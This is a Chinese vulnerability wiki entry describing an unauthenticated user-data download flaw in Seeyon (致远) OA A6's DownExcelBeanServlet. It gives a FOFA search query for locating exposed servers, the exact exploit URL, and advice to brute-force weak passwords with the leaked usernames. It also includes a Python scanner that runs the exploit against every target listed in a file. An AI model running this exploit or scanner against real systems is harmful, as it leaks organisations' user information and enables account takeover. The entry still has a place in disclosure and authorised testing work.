致远OA A6 DownExcelBeanServlet 用户敏感信息泄露

漏洞描述

致远OA A6 存在某个未授权的接口导致任意访问者可下载OA中的用户信息

漏洞影响

[!NOTE]

致远OA A6

FOFA

[!NOTE]

title="致远A8+协同管理软件.A6"

漏洞复现

访问如下URL即可跳转下载用户信息文件

http://xxx.xxx.xxx.xxx/yyoa/DownExcelBeanServlet?contenttype=username&contentvalue=&state=1&per_id=0

可以再利用得到的用户名使用弱口令爆破进入OA进一步攻击

漏洞利用POC

import requests
import sys
import random
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
    print('+  \033[34m公众号  : PeiQi文库                                                   \033[0m')
    print('+  \033[34mVersion: 致远OA A6                                              \033[0m')
    print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
    print('+  \033[36mFile         >>> ip.txt                             \033[0m')
    print('+------------------------------------------')

def POC_1(target_url):
    vuln_url = target_url + "/yyoa/DownExcelBeanServlet?contenttype=username&contentvalue=&state=1&per_id=0"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
        if "@" in response.text and response.status_code == 200:
            print("\033[32m[o] 目标 {}存在漏洞,下载地址:{} \033[0m".format(target_url, vuln_url))
        else:
            print("\033[31m[x] 目标 {}不存在漏洞 \033[0m".format(target_url))
    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m", e)

def Scan(file_name):
    with open(file_name, "r", encoding='utf8') as scan_url:
        for url in scan_url:
            if url[:4] != "http":
                url = "http://" + url
            url = url.strip('\n')
            try:
                POC_1(url)

            except Exception as e:
                print("\033[31m[x] 请求报错 \033[0m".format(e))
                continue

if __name__ == '__main__':
    title()
    file_name  = str(input("\033[35mPlease input Attack File\nFile >>> \033[0m"))
    Scan(file_name)

Goby & POC

[!NOTE]

已上传 https://github.com/PeiQi0/PeiQi-WIKI-POC Goby & POC 目录中

Seeyon_OA_A6_DownExcelBeanServlet_User_information_leakage

PeiQi WiKi文库 all right reserved,powered by Gitbook文件更新时间: 2021-05-20 23:44:41

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